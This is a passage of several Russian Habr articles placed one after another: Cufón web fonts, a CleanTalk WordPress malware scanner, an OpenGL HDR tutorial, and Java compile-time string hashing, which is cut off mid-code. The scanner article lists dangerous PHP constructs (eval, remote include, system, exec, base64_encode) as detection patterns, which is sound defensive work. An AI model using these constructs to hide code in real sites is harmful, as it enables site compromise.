> "height": window.getHeight()
>
> });
>
> }
>
> });`
Для использования класса необходимо создать его экземпляр и добавить на страницу кнопочку, нажатие на которую будет показывать окно. В результате HTML-код примет следующий вид:
`> DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
>
> <html xmlns="http://www.w3.org/1999/xhtml">
>
> <head>
>
> <title>Mootools plugintitle>
>
> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
>
> <link href="./Style.css" rel="Stylesheet" type="text/css" />
>
>
>
> <script src="../../MooToolsCore.js" type="text/javascript" language="javascript">script>
>
>
>
> "./MoodalBox.js"</font> type=<font color="#A31515">"text/javascript"</font> language=<font color="#A31515">"javascript"</font>>
>
>` | https://habr.com/ru/post/38187/ | null | ru | null |
# Cufón – используйте шрифты, какие душа пожелает
Если стоит задача использовать в проекте нестандартный шрифт, то есть возможность пойти несколькими путями:
1. *Ъ-метод* – не использовать нестандартные шрифты, достаточно в CSS сказать body {font-family: sans-serif;} и не морочить себе голову.
2. *Быдло-метод* – нарезать из ЖПЕГов, картинок с заголовками, ужать посильнее, что б появилась размытость и вставлять вместо текста картинки. Достаточно популярный на наших просторах метод.
3. *W3C-метод* – используем `@font-family` и наслаждаемся красивыми шрифтами без всяких заморочек. Пока этот метод не рассматривают, как рабочий, по причине слабой поддержи со стороны браузера.
4. *sIFR* – клевая вещь, наиболее употребляемая на сегодняшний день, но как недостаток – требует наличия Flash-плагина. Хотя это трудно назвать недостатком, но если есть инструмент, позволяющий обойтись без плагинов, то это не может не радовать.
5. *Cufón* – самое то. Относительно новый метод, который показывает превосходные результаты. Он и есть герой этой статьи.
***Для любознательных:** есть еще один способ, практически полный аналог куфона — [typefaces.js](http://typeface.neocracy.org/), но сегодня мы будем говорить не о нем.*
### Что за куфон?
Как пишут на сайте разработчики – призвание их проекта стать достойной альтернативой для sIFR, который несмотря на все свои заслуги все же несколько сложен в настройке и использовании. Для достижения сего были поставлены такие цели:
1. Не требовать плагинов, шмагинов – используются только средства, нативно поддерживаемые браузером (из этих средств, используются JavaScript, SVG и для нормальных, VML для IE)
2. Совместимость – должен работать в всех распространенных браузерах.
3. Простота использования – минимум приготовлений и конфигурации.
4. Скорость – она должна быть достаточно большой, даже для объемных текстов.
### Как работает
Cufón состоит из двух независимых частей – генератора шрифта, который преобразовывает стандартный шрифт (в форматах, TTF, OTF) в некоторый промежуточный формат, который будет использоваться далее. Вторая часть – движок рендеринга на JavaScript.
Все сделано очень хитро и продуманно, но в итоге, для работы все этой машинерии от вас требуется подключить всего 2 JavaScript файла и можно наслаждаться.
### Попробуем
Попробуем все это на деле. Для начала возьмем файл со шрифтом, у меня есть для примера шрифт *Rokwell*, в обычном и жирном начертании. Идем по адресу [cufon.shoqolate.com/generate](http://cufon.shoqolate.com/generate/) и пихаем в форму имеющиеся у нас файлы. Далее, по желанию, отмечаем некие дополнительные настройки и получаем файл, в моем случае это был *Rockwell\_400-Rockwell\_700.font.js* Название нам показывается, что файл содержит наш шрифт в двух начертаниях, наглядно, но как-то долго такое в тег скрипт прописывать…
Следующим шагом будет скачивание собственно дистрибутива Cufón, который в сжатом виде занимает каких-то 14 КБ. [cufon.shoqolate.com/js/cufon-yui.js](http://cufon.shoqolate.com/js/cufon-yui.js)
Подключаем оба этих файла в наш документ, как самый обычный JavaScript.
```
```
Теперь выбираем, какие именно элементы страницы мы хотим прорисовать нашим красивым шрифтом. Для примера все заголовки H1, нет проблем:
```
Cufon.replace("h1");
```
Да и это все, что от нас требуется. Цвет, размер и другие параметры для прорисовки берутся из правил CSS. Если они конечно заданы.
Если мы хотим заменять не только H1, но и какие нибудь «ul.menu>li.active>a», то нам потребуется сторонняя библиотека, которая умеет делать выборку по селекторам. Дело в том, что сейчас мало кто обходится без таких JavaScript библиотек, как Prototype, jQuery, MooTools или Dojo, а потому создатели решили не делать свою библиотечку избыточной и предлагают нам воспользоваться сторонней. Правильно предлагают! Итак, при использовании одной из вышеприведенных библиотек, нам просто надо подключать их в документе раньше чем Cufón, тогда он сам разберется что к чему и можно начинать использовать более сложные запросы.
Особая заметка для людей, которые пекутся о пользователях IE. Разработчики рекомендуют вставлять следующий код, сразу перед , либо перед вызовом любого внешнего скрипта, например Google Analytics:
````
Cufon.now();
````
Это должно избавить IE от некоторой задержки в прорисовке шрифтов.
### Использование нескольких шрифтов.
````
Cufon.replace('h1', { fontFamily: 'Frutiger LT Std' });
Cufon.replace('h2', { fontFamily: 'Myriad Pro' });
````
Если не указать дополнительных настроек при вызове, то будет использован последний загруженный шрифт (*Myriad\_Pro\_400*).
И еще все страницы, где используется Cufón – должны быть в кодировке *UTF-8*, либо обратно совместимые с ней, например *US-ASCII*. А если ваши страницы все еще в *CP1251* – ваши проблемы.
**UPD:** пользователь [pgg](https://habrahabr.ru/users/pgg/) [демонстрирует](http://habrahabr.ru/blogs/webdev/61033/#comment_1670931), что CP1251 — поддерживается!
### Тонкости
Если при вызове рендера мы хотим указать для текста какие-то дополнительные визуальные настройки, то это следует делать так:
````
Cufon.replace("ul.menu li.active a", {color:'#000000'});
````
Это может понадобится например в следующем случае:
`Cufon.replace("ul.menu li a");
Cufon.replace("ul.menu li.active a", {color:'#000000'});`
При вызове первого рендерера, Cufón правильно определит цвет для всех ссылок в меню, согласно правилам CSS, однако он не будет ходить дальше и выяснять, есть ли у нас дальше какие-то отличия, потому одна из ссылок может быть показана белым цветом на белом фоне. Для исправления подобной ситуации и служит вызов второго рендерера.
Подобным образом можно прописывать не только цвет, а и практически все свойства CSS, относящиеся к тексту. Кроме того, есть возможность заполнить текст градиентом, но это непонятно зачем нужно, а кому очень уж хочется, отсылаю к странице руководства, где это хорошо описано. [wiki.github.com/sorccu/cufon/styling](http://wiki.github.com/sorccu/cufon/styling)
Еще стоит обратить внимание на тот момент, что замена шрифтов происходит только в момент вызова рендерера:
````
Cufon.replace("h1.alala");
````
Произведет замену для всех элементов h1 с классом alala, если вы в дальнейшем с помощью скрипта присвоите класс alala, для другого h1, то там замена текста не произойдет! Так что не забывайте после манипуляций производить вызов рендерера.
### Пример
Было:
Стало:
### Ссылки
[Страница проекта на github](http://wiki.github.com/sorccu/cufon/about)
[Документация по части визуального офрмления при помощи CSS](http://wiki.github.com/sorccu/cufon/styling)
[Генератор шрифтового файла](http://cufon.shoqolate.com/generate/)
[Оригинал статьи на блоге Yed-Prior](http://blog.yed-prior.com/archives/70) | https://habr.com/ru/post/61033/ | null | ru | null |
# CleanTalk Malware Scanner — эвристический анализ кода
Мы уже рассказывали о запуске Security сервиса для WordPress в [предыдущей статье](https://habrahabr.ru/post/349420/). Сегодня мы хотим рассказать о запуске эвристического анализа для определения вредоносного кода.
Само наличие вредоносного кода может привести к бану в поисковой выдаче или предупреждению в поиске о том что сайт заражен, оградить пользователей от возможно опасного контента.
Можно найти вредоносный код и самостоятельно, но это и большой объем работы и большинство пользователей WordPress не обладает необходимыми навыками, чтобы найти и удалить ненужные строки кода.
Зачастую авторы вредоносного кода маскируют его, что затрудняет его определение по сигнатурам. Сам вредоносный код может находится где угодно на сайте, например обфусцированный php-код в файле logo.png, а сам код вызывается одной незаметной строчкой в index.php. Поэтому использование плагинов для поиска вредоносного кода предпочтительнее.
CleanTalk при первом сканировании, сканирует все файлы ядра WordPress, плагинов и тем. При повторных сканированиях, скинируются только те файлы, которые были изменены с момента последнего сканирования. Это экономит ресурсы и увеличивает скорость сканирования.
### Как работает эвристический анализ
Один из главных недостатков эвристического анализа, это то что он достаточно медленный, соответственно мы используем его только когда он действительно необходим. В первую очередь мы разбиваем исходный код на лексемы (минимальная языковая конструкция) и удаляем все ненужное:
1. Символы пробелов.
2. Комментарий различных видов.
3. Не PHP код (вне тегов php ?)
Далее мы рекурсивно упрощаем код, пока не останется «сложных конструкций»:
1. Выполняем конкатенацию строк.
2. Подстановку переменных в переменные.
3. и прочее
Также в процессе упрощения кода мы следим за происхождением переменных и многим другим.
В итоге мы получаем чистый код который можно анализировать. Очень важно, что код мы получаем не в виде строки, а в виде лексем. Таким образом, мы знаем, где находится лексема-строка с искомым текстом, а где лексема-функция.
В смысле поиска «плохой конструкции» eval для нас есть разница:
```
php echo 'eval("echo \"some\"")'; ?
```
— в данном случае не будет лексемы T\_EVAL,
будет лексема T\_CONSTANT\_ENCAPSED\_STRING 'eval(«echo \»eval\"")'
```
php eval('echo "some"'); ?
```
— а здесь будет. И именно этот вариант мы и обнаружим.
Мы ищем такие конструкции, разбиваем их на степени критичности:
1. Критические:
* eval
* include\* и require\*
+ с плохим расширением файла
+ несуществующих файлов (будет удалена в след. версиях)
+ подключение удаленных файлов
2. Опасные
* system
* passthru
* proc\_open
* exec
* include\* и require\*
+ с оператором подавления ошибки (будет удалена в след. версиях)
+ с переменными зависящими от POST или GET.
3. Подозрительные
* base64\_encode
* str\_rot13
* syslog
4. И другие.
Мы постоянно совершенствуем этот анализ: добавляем новые конструкции для поиска, уменьшить количество ложных сработок, оптимизируем упрощение кода.
В планах научить его обнаруживать и декодировать строки закодированные в URL и BASE64 и прочих.
Сам плагин доступен в [каталоге WordPress](https://wordpress.org/plugins/security-malware-firewall/). | https://habr.com/ru/post/351572/ | null | ru | null |
# Learn OpenGL. Урок 5.7 — HDR
При записи во фреймбуфер значения яркости цветов приводятся к интервалу от 0.0 до 1.0. Из-за этой, на первый вгляд безобидной, особенности нам всегда приходится выбирать такие значения для освещения и цветов, чтобы они вписывались в это ограничение. Такой подход работает и даёт достойные результаты, но что случится, если мы встретим особенно яркую область с большим количеством ярких источников света, и суммарная яркость превысит 1.0? В результате все значения, большие чем 1.0, будут приведены к 1.0, что выглядит не очень красиво:
Так как для большого количества фрагментов цветовые значения приведены к 1.0, получаются большие области изображения, залитые одним и тем же белым цветом, теряется значительное количество деталей изображения, и само изображение начинает выглядеть неестественно.
Решением данной проблемы может быть снижение яркости источников света, чтобы на сцене не было фрагментов ярче 1.0: это не лучшее решение, вынуждающее использовать нереалистичные значения освещения. Лучший подход заключается в том, чтобы разрешить значениям яркости временно превышать яркость 1.0 и на финальном шаге изменить цвета так, чтобы яркость вернулась к диапазону от 0.0 до 1.0, но без потери деталей изображения.
Дисплей компьютера способен показывать цвета с яркостью в диапазоне от 0.0 до 1.0, но у нас нет такого ограничения при расчёте освещения. Разрешая цветам фрагмента быть ярче единицы, мы получаем намного более высокий диапазон яркости для работы — HDR *(high dynamic range)*. С использованием hdr яркие вещи выглядят яркими, тёмные вещи могут быть реально тёмными, и при этом мы будем видеть детали.
**Содержание**Часть 1. Начало
1. [OpenGL](https://habrahabr.ru/post/310790/)
2. [Создание окна](https://habrahabr.ru/post/311198/)
3. [Hello Window](https://habrahabr.ru/post/311234/)
4. [Hello Triangle](https://habrahabr.ru/post/311808/)
5. [Shaders](https://habrahabr.ru/post/313380/)
6. [Текстуры](https://habrahabr.ru/post/315294/)
7. [Трансформации](https://habrahabr.ru/post/319144/)
8. [Системы координат](https://habrahabr.ru/post/324968/)
9. [Камера](https://habrahabr.ru/post/327604/)
Часть 2. Базовое освещение
1. [Цвета](https://habrahabr.ru/post/329592/)
2. [Основы освещения](https://habrahabr.ru/post/333932/)
3. [Материалы](https://habrahabr.ru/post/336166/)
4. [Текстурные карты](https://habrahabr.ru/post/337550/)
5. [Источники света](https://habrahabr.ru/post/337642/)
6. [Несколько источников освещения](https://habrahabr.ru/post/338254/)
Часть 3. Загрузка 3D-моделей
1. [Библиотека Assimp](https://habrahabr.ru/post/338436/)
2. [Класс полигональной сетки Mesh](https://habrahabr.ru/post/338436/)
3. [Класс 3D-модели](https://habrahabr.ru/post/338998/)
Часть 4. Продвинутые возможности OpenGL
1. [Тест глубины](https://habrahabr.ru/post/342610/)
2. [Тест трафарета](https://habrahabr.ru/post/344238/)
3. [Смешивание цветов](https://habrahabr.ru/post/343096/)
4. [Отсечение граней](https://habrahabr.ru/post/346964/)
5. [Кадровый буфер](https://habrahabr.ru/post/347354/)
6. [Кубические карты](https://habrahabr.ru/post/347750/)
7. [Продвинутая работа с данными](https://habrahabr.ru/post/350008/)
8. [Продвинутый GLSL](https://habrahabr.ru/post/350156/)
9. [Геометричечкий шейдер](https://habrahabr.ru/post/350782/)
10. [Инстансинг](https://habrahabr.ru/post/352962/)
11. [Сглаживание](https://habrahabr.ru/post/351706/)
Часть 5. Продвинутое освещение
1. [Продвинутое освещение. Модель Блинна-Фонга.](https://habrahabr.ru/post/353054/)
2. [Гамма-коррекция](https://habrahabr.ru/post/353632/)
3. [Карты теней](https://habrahabr.ru/post/353956/)
4. [Всенаправленные карты теней](https://habr.com/post/354208/)
5. [Normal Mapping](https://habr.com/post/415579/)
6. [Parallax Mapping](https://habr.com/post/416163/)
7. [HDR](https://habr.com/post/420409/)
8. [Bloom](https://habr.com/post/420375/)
9. [Отложенный рендеринг](https://habr.com/post/420565/)
10. [SSAO](https://habr.com/post/421385/)
Часть 6. PBR
1. [Теория](https://habr.com/post/426123/)
2. [Аналитические источники света](https://habr.com/post/424453/)
3. [IBL. Диффузная облученность.](https://habr.com/post/426987/)
4. [IBL. Зеркальная облученность.](https://habr.com/post/429744/)
Изначально высокий динамический диапазон использовался в фотографии: фотограф делал несколько одинаковых фотографий сцены с различной экспозицией, захватывая цвета почти любой яркости. Комбинация этих фотографий формирует hdr изображение, в котором становится различимым большинство деталей за счёт сведения изображений с разными уронями экспозиции. Например, ниже на левом изображении хорошо видны сильно освещённые фрагменты изображения (посмотрите на окно), но эти детали пропадают при использовании высокой экспозиции. Однако, высокая экспозиция делает различимымидетали на тёмных областях изображения, которые до этого не были видны.
Это похоже на то, как работает человеческий глаз. При недостатке света глаз приспосабливается, так что тёмные детали становятся хорошо различимыми, и аналогично для ярких областей. Можно сказать, что человеческий глаз имеет автоматическу настройку экспозиции, зависящую от яркости сцены.
HDR рендеринг работает примерно так же. Мы разрешаем при рендере использовать большой диапазон значений яркости, чтобы собрать информацию и о ярких, и о тёмных деталях сцены, и в конце мы преобразуем значения из диапазона HDR обратно в LDR (low dynamic range, диапазон от 0 до 1). Это преобразование называется тональной компрессией *(tone mapping)*, существует большое количество алгоритмов, нацеленных на сохранение большинства деталей изображения при конвертации в LDR. Эти алгоритмы часто имеют параметр экспозиции, который позволяет лучше показывать яркие или тёмные области изображения.
Использование HDR при рендеринге позволят нам не только превышать LDR диапазон от 0 до 1 и сохранять больше деталей изображения, но также даёт возможность указывать реальную яркость источников света. Например, солнце имеет намного большую яркость света, чем что-нибудь типа фонарика, так почему бы не настроить солнце таким (например, присвоить ему яркость 10.0)? Это позволит нам лучше настроить освещение сцены с более реалистичными параметрами яркости, что было бы невозможно при LDR рендеринге и диапазоне яркости от 0 до 1.
Так как дисплей показывают яркость только от 0 до 1, мы вынуждены конвертировать используемый HDR диапазон значений обратно к диапазону монитора. Просто отмасштабировать диапазон не будет хорошим решением, так как на изображении начнут преобладать яркие области. Однако мы можем использовать различные уравнения или кривые для преобразования значений HDR в LDR, что даст нам полный контроль над яркостью сцены. Этот преобразование называется тональной компрессией *(tone mapping)* и являетя финальным шагом HDR рендеринга.
### Фреймбуферы с плавающей точкой
Для реализации HDR рендеринга нам нужен способ, чтобы предотвратить приведение значений к диапазону от 0 до 1 результатов работы фрагментного шейдера. Если фреймбуфер использует нормализованный формат с фиксированной точкой (GL\_RGB) для буферов цвета, то OpenGL автоматически ограничнивает значения перед сохранением во фреймбуфер. Это ограничние применяется для большинства форматов фреймбуфера, кроме форматов с плавающей точкой.
Чтобы хранить значения, выходящие из диапазана [0.0..1.0], мы можем использовать буфер цвета со следующими форматами: `GL_RGB16F, GL_RGBA16F, GL_RGB32F or GL_RGBA32F`. Это прекрасно подходит для hdr рендеринга. Такой буфер будем называть floating point фреймбуффером.
Создание floating point буфера отличается от обычного буфера только тем, что в нём используется другой внутренний формат:
```
glBindTexture(GL_TEXTURE_2D, colorBuffer);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, SCR_WIDTH, SCR_HEIGHT, 0, GL_RGBA, GL_FLOAT, NULL);
```
Фреймбуфер OpenGL по умолчанию использует только 8 бит для хранения каждого цвета. В floating point фреймбуфере с форматами `GL_RGB32F` или `GL_RGBA32F` для хранения каждого цвета используется 32 бита — в 4 раза больше. Если не требуется очень высокая точность, то вполне достаточным будет формат `GL_RGBA16F`.
Если к фреймбуферу присоединён floating point буфер для цвета, мы можем рендерить сцену в него с учётом того, что значения цвета не будут ограничены диапазоном от 0 до 1. В коде к данной статье мы сначала рендерим сцену в floating point фреймбуфер и после этого выводим содержимое буфера цвета на полкоэкранный прямоугольник. Это выглядит примерно так:
```
glBindFramebuffer(GL_FRAMEBUFFER, hdrFBO);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
// [...] рисуем сцену в hdr
glBindFramebuffer(GL_FRAMEBUFFER, 0);
// рендерим hdr буфер цвета как 2д прямоугольник с другим шейдером
hdrShader.use();
glActiveTexture(GL_TEXTURE0);
glBindTexture(GL_TEXTURE_2D, hdrColorBufferTexture);
RenderQuad();
```
Здесь значения цвета, содержащиеся в буфере цвета, могут быть больше 1. Для этой статьи была создана сцена с большим вытянутым кубом, выглядящим как туннель с четырьмя точечными источниками света, один из них расположен в конце туннеля и обладает огромной яркостью.
```
std::vector lightColors;
lightColors.push\_back(glm::vec3(200.0f, 200.0f, 200.0f));
lightColors.push\_back(glm::vec3(0.1f, 0.0f, 0.0f));
lightColors.push\_back(glm::vec3(0.0f, 0.0f, 0.2f));
lightColors.push\_back(glm::vec3(0.0f, 0.1f, 0.0f));
```
Рендеринг в floating point буфер точно такой же, как если бы мы рендерили сцену в обычный фреймбуфер. Новым является только фрагментный hdr шейдер, который занимается простой закраской полноэкранного прямоугольника значениями из текстуры, являющейся буфером цвета с плавающей точкой. Для начала напишем простой шейдер, передающий входные данные без изменений:
```
#version 330 core
out vec4 FragColor;
in vec2 TexCoords;
uniform sampler2D hdrBuffer;
void main()
{
vec3 hdrColor = texture(hdrBuffer, TexCoords).rgb;
FragColor = vec4(hdrColor, 1.0);
}
```
Мы берём входные данные из floating point буфера цвета и используем их в качестве выходных значений шейдера. Однако, так как 2д прямоугольник рендерится в фреймбуфер по-умолчанию, выходные значения шейдера будут ограничены интервалом от 0 до 1, не смотря на то, что в некоторых местах значения больше 1.
Становится очевидным, что слишком большие значения цвета в конце туннеля ограничены единицей, так как значительная часть изображения полностью белая, и мы теряем детали изображения, которые ярче единицы. Так как мы используем HDR значения напрямую в качестве LDR, это эквивалентно отсутствию HDR. Чтобы исправить это, мы должны отобразить различные значения цветов обратно в диапазон от 0 до 1 без потери каких-либо деталей изображения. Для этого применим тональную компрессию.
### Тональная компрессия
Тональная компрессия — преобразование значений цвета, чтобы уместить их в диапазоне от 0 до 1 без потери деталей изображения, часто в сочетании с приданием изображению желаемого баланса белого.
Самый простой алгоритм тональной компрессии известен как алгоритм Рейнхарда *(Reinhard tone mapping)*. Он отображает любые HDR значения в LDR диапазаон. Добавим этот алгоритм в предыдущий фрагментный шейдер, а так же применим гамма-коррекцию (и использование SRGB текстур).
```
void main()
{
const float gamma = 2.2;
vec3 hdrColor = texture(hdrBuffer, TexCoords).rgb;
// тональная компрессия
vec3 mapped = hdrColor / (hdrColor + vec3(1.0));
// гамма-коррекция
mapped = pow(mapped, vec3(1.0 / gamma));
FragColor = vec4(mapped, 1.0);
}
```
> Прим. пер. — при малых значениях х функция x/(1+x) ведёт себя примерно как х, при больших х — стремится к единице. График функции:
С тональной компрессией Рейнхарда мы больше не теряем деталей в ярких областях изображения. Алгоритм отдаёт предпочтение ярким областям, делая тёмные области менее отчётливыми.
Здесь вы снова можете видеть такие детали в конце изображения, как текстура дерева. С этим относительно простым алгоритмом мы хорошо видим любые цвета из HDR диапазона и можем контролировать освещение сцены без потери деталей изображения.
> Стоит отметить, что мы можем использовать тональную компрессию напрямую в конце нашего шейдера для рассчёта освещения, и тогда нам вообще не понадобится floating point фреймбуфер. Однако, на более сложных сценах вы часто будете встречаться с необходимостью хранить промежуточные HDR значения в floating point буферах, так что это вам пригодится.
Ещё одной интересной возможностью тоновой компрессии является использование параметра экспозиции. Возможно, вы помните, что на изображениях в начале статьи различные детали были видны при разных значениях экспозиции. Если мы имеем сцену, на которой сменяются день и ночь, имеет смысл использовать низкую экспозицию днём и высокую ночью, что схоже с адаптацией человеческого глаза. С таким параметром экспозиции мы сможем настраивать параметры освещения, которые будут работать и днём и ночью при разных условиях освещения.
Относительно простой алгоритм тональной компрессии с экспозицией выглядит так:
```
uniform float exposure;
void main()
{
const float gamma = 2.2;
vec3 hdrColor = texture(hdrBuffer, TexCoords).rgb;
// тональная компрессия с экспозицией
vec3 mapped = vec3(1.0) - exp(-hdrColor * exposure);
// гамма-коррекция
mapped = pow(mapped, vec3(1.0 / gamma));
FragColor = vec4(mapped, 1.0);
}
```
> Прим. пер: добавлю график и для этой функции c экспозицией 1 и 2:
Здесь мы определили переменную для экспозиции, которая по умолчанию равна 1 и позволяет нам более точно выбрать баланс между качеством отображения тёмных и ярких областей изображения. Например, с большой экспозицией мы видим значительно больше подробностей на тёмных областях изображения. И наоборот, малая экспозиция делает неразличимыми тёмные области, но позволяет лучше увидеть яркие области изображения. Ниже приведены изображения туннеля с различными уровнями экспозиции.
Эти изображения явно показывают преимущества hdr рендеринга. При изменении уровня экспозиции мы видим больше деталей сцены, которые были бы потеряны при обычном рендеринге. Возьмите для примера конец туннеля — с нормальной экспозицией текстура дерева едва видна, но при низкой экспозиции текстуру превосходно видно. Аналогично, при высокой экспозиции очень хорошо видны детали в тёмных областях.
Исходный код для демо [здесь](https://learnopengl.com/code_viewer_gh.php?code=src/5.advanced_lighting/6.hdr/hdr.cpp)
### Больше HDR
Те два алгоритма тоновой компрессии, которые были показаны, являются лишь малой частью среди большого количества более продвинутых алгоритмов, каждый из которых имеет свои сильные и слабые стороны. Некоторые алгоритмы лучше подчёркивают определённые цвета/яркости, некоторые алгоритмы показывают одновременно тёмные и яркие области, выдавая более красочные и детализированные изображения. Так же существует множество способов, известных как автоматичесий выбор экспозиции *(automatic exposure adjustment)* или адаптация глаз *(eye adaptation)*. В них определяется яркость сцены на предыдущем кадре и (медленно) изменяется параметр экспозиции, так что тёмная сцена потихоньку становится ярче, а яркая — темнее: схоже с привыканием человеческого глаза.
Реальные преимущества HDR становятся лучше всего видны на больших и сложных сценах с серьёзными алгоритмами освещения. В целях обучения в данной статье использовалась максимально простая сцена, так как создание большой сцены может быть сложным. Несмотря на простоту сцены, на ней видны некоторые преимущества hdr рендеринга: в тёмных и светлых областях изображения не теряются детали, так как они сохраняются при помощи тоновой компрессии, добавление множественных источников света не приводит к появлению белых областей, и значения не обязаны умещаться в LDR диапазон.
Более того, HDR рендеринг также делает некоторые интересные эффекты более правдоподобными и реалистичными. Одним из таких эффектов является блум (bloom), который мы обсудим в следующей [статье](https://learnopengl.com/Advanced-Lighting/Bloom).
### Дополнительные ресурсы:
* Вопрос на stackexchange с отличным длинным ответом, в котором описаны некоторые преимущества HDR рендеринга: [Does HDR rendering have any benefits if bloom won't be applied?](http://gamedev.stackexchange.com/questions/62836/does-hdr-rendering-have-any-benefits-if-bloom-wont-be-applied)
* Ещё один интересный ответ с хорошими изображениями в качестве примеров тональной компрессии. [What is tone mapping? How does it relate to HDR?](http://photo.stackexchange.com/questions/7630/what-is-tone-mapping-how-does-it-relate-to-hdr)
**P.S.** У нас есть [телеграм-конфа](https://t.me/joinchat/Cpb05A46UPpMWdNVVCb4Vg) для координации переводов. Если есть серьезное желание помогать с переводом, то милости просим! | https://habr.com/ru/post/420409/ | null | ru | null |
# Хешируем строки на этапе компиляции с помощью annotation
Недавно я начал разрабатывать приложение под Android и передо мной возникла задача защитить его от реверса. Беглый просмотр гугла позволил предположить, что ProGuard, входящий в состав Android Studio, с задачей справится. Результат меня действительно устроил за исключением одной маленькой детали — строки.
Программа обменивается с сервисом информацией с помощью Intent. Ключевой частью которых является строка действия. И если для взаимодействия с системой или другими приложениями строка должна иметь определённый формат, то для обменов внутри приложения достаточно её уникальности. Для удобства рекомендуется составлять данную строку из имени пакета и названия действия. Например:
```
public final class HandlerConst {
public static final String ACTION_LOGIN = "com.example.app.ACTION_LOGIN";
}
```
Это удобно для отладки, но сильно снижает качество обсфускации кода. Хочется, чтоб в релизе программы вместо данной строки оказался, например, её MD5 хеш.
```
public final class HandlerConst {
public static final String ACTION_LOGIN = "7f315954193d1fd99b017081ef8acdc3";
}
```
Под катом рассказано, как добиться такого поведения с помощью подручного велосипеда.
##### Немного лирики
Я был сильно удивлён, узнав, что ProGuard не работает со строками. Из документации на официальном сайте удалось узнать, что со строками умеет работать продвинутая платная версия. Вот только она шифрует строки с целью их расшифровки в первоначальный вариант во время работы программы. Решения, позволяющего превратить строку в её MD5 значение, мне найти не удалось.
Попытки найти решение этой задачи вывели меня на статью, демонстрирующую чудеса оптимизирующих компиляторов C++: [Вычисление CRC32 строк в compile-time](http://habrahabr.ru/post/143975/). Но в Java аналогичный метод не взлетел. ProGuard достаточно сильно свернул методы, но споткнулся на получении массива байт из строки.
После этого я решил не тратить силы на попытки автоматизации и просто решить задачу руками:
```
public final class HandlerConst {
public static final String ACTION_LOGIN;
static {
if (BuildConfig.DEBUG) ACTION_LOGIN = "com.example.app.ACTION_LOGIN";
else ACTION_LOGIN = "7f315954193d1fd99b017081ef8acdc3";
}
}
```
Но когда я увидел на хабре статью [Custom Annotation Preprocessor — создание на базе Android-приложения и конфигурация в IntelliJ IDEA](http://habrahabr.ru/post/200354/), я понял, что это решение моей проблемы.
##### Реализация аннотации
Изучение аннотаций по традиции началось с отсутствия нужной информации на русском языке. Большинство статей рассматривает применение Runtime аннотаций. Впрочем, подходящая статья нашлась на хабре: [Подсчёт времени выполнения метода через аннотацию](http://habrahabr.ru/post/88908/).
Для создания аннотации времени компиляции нам надо:
1. Описать аннотацию;
2. Реализовать наследника класса *AbstractProcessor*, который будет обрабатывать нашу аннотацию;
3. Сообщить компилятору где искать наш процессор.
Описание аннотации может выглядеть так:
```
package com.example.annotation;
@Target({ElementType.FIELD})
@Retention(RetentionPolicy.SOURCE)
public @interface Hashed {
String method() default "MD5";
}
```
**Target** — определяет объекты, для которых применима аннотация. В данном случае аннотацию можно применить к объявлениям переменных в классе. К сожалению, к любым, но об этом позже.
**Retention** — время жизни аннотации. Мы указываем, что она существует только в исходном коде.
В самой аннотации мы заводим поле, определяющее метод хеширования. По умолчанию MD5.
Этого достаточно чтоб использовать в коде аннотацию, но от неё не будет никакого толку, пока мы не напишем обработчик аннотации.
Обработчик аннотации наследуется от *javax.annotation.processing.AbstractProcessor*. Минимальный класс обработчика выглядит так:
```
package com.example.annotation;
@SupportedAnnotationTypes(value = {"com.example.annotation.Hashed"})
@SupportedSourceVersion(SourceVersion.RELEASE_7)
public class HashedAnnotationProcessor extends AbstractProcessor {
@Override
public boolean process(Set extends TypeElement annotations, RoundEnvironment roundEnv) {
return false;
}
}
```
**SupportedAnnotationTypes** — определяет имена классов аннотаций, которые будут обрабатываться нашим процессором.
**SupportedSourceVersion** — поддерживаемая версия исходников. Смысл в том, чтоб процессор не сломал при обработке аннотаций языковые конструкции, которые появились в более новых версиях языка.
Вместо данных аннотаций можно переопределить методы *getSupportedAnnotationTypes* и *getSupportedSourceVersion*.
Метод *process* получает список необработанных поддерживаемых аннотаций и объект взаимодействия с компилятором. Если метод возвращает false — компилятор передаёт аннотацию на обработку следующему процессору, который поддерживает данный тип аннотаций. Если же метод вернул истину — аннотация считается обработанной и больше никуда не попадёт. Это нужно учитывать, чтоб случайно не прибить чужие аннотации.
Если в процессе работы любого процессора изменились или добавились исходные коды — компилятор пойдёт на следующий проход.
Для изменения исходного кода нам будет недостаточно *RoundEnvironment* поэтому мы переопределяем метод *init* и получаем из него *JavacProcessingEnvironment*. Данный класс позволяет получить доступ к исходным кодам, системе выброса предупреждений и ошибок компиляции и многое другое. Там же получим *TreeMaker* — вспомогательный инструмент для изменения исходных кодов.
```
private JavacProcessingEnvironment javacProcessingEnv;
private TreeMaker maker;
@Override
public void init(ProcessingEnvironment procEnv) {
super.init(procEnv);
this.javacProcessingEnv = (JavacProcessingEnvironment) procEnv;
this.maker = TreeMaker.instance(javacProcessingEnv.getContext());
}
```
Теперь нам остаётся перебрать наши аннотированные поля и заменить значения строковых констант. Код привожу в сокращении. Ссылка на GitHub в конце статьи.
```
@Override
public boolean process(Set extends TypeElement annotations, RoundEnvironment roundEnv) {
if ( annotations == null || annotations.isEmpty()) {
return false;
}
for (TypeElement annotation : annotations)
{
// Выбираем все элементы, у которых стоит наша аннотация
final Set extends Element fields = roundEnv.getElementsAnnotatedWith(annotation);
JavacElements utils = javacProcessingEnv.getElementUtils();
for (final Element field : fields) {
//Получаем аннотацию, потом возьмём из неё метод хеширования.
Hashed hashed = field.getAnnotation(Hashed.class);
//преобразовываем аннотированный элемент в дерево
JCTree blockNode = utils.getTree(field);
if (blockNode instanceof JCTree.JCVariableDecl) {
//Помним, что поле может оказаться не только строковым.
JCTree.JCVariableDecl var = (JCTree.JCVariableDecl) blockNode;
//получаем инициализатор (то что после знака = )
JCTree.JCExpression initializer = var.getInitializer();
//Проверка отсечёт поля с инициализацией в конструкторе, а так же конструкции вида:
// "" + 1
// new String("new string")
if ((initializer != null) && (initializer instanceof JCTree.JCLiteral)){
JCTree.JCLiteral lit = (JCTree.JCLiteral) initializer;
//получаем строку
String value = lit.getValue().toString();
try {
MessageDigest md = MessageDigest.getInstance(hashed.method());
//Для однообразия на разных платформах задаём локаль.
md.update(value.getBytes("UTF-8"));
byte[] hash = md.digest();
StringBuilder str = new StringBuilder(hash.length * 2);
for (byte val : hash) {
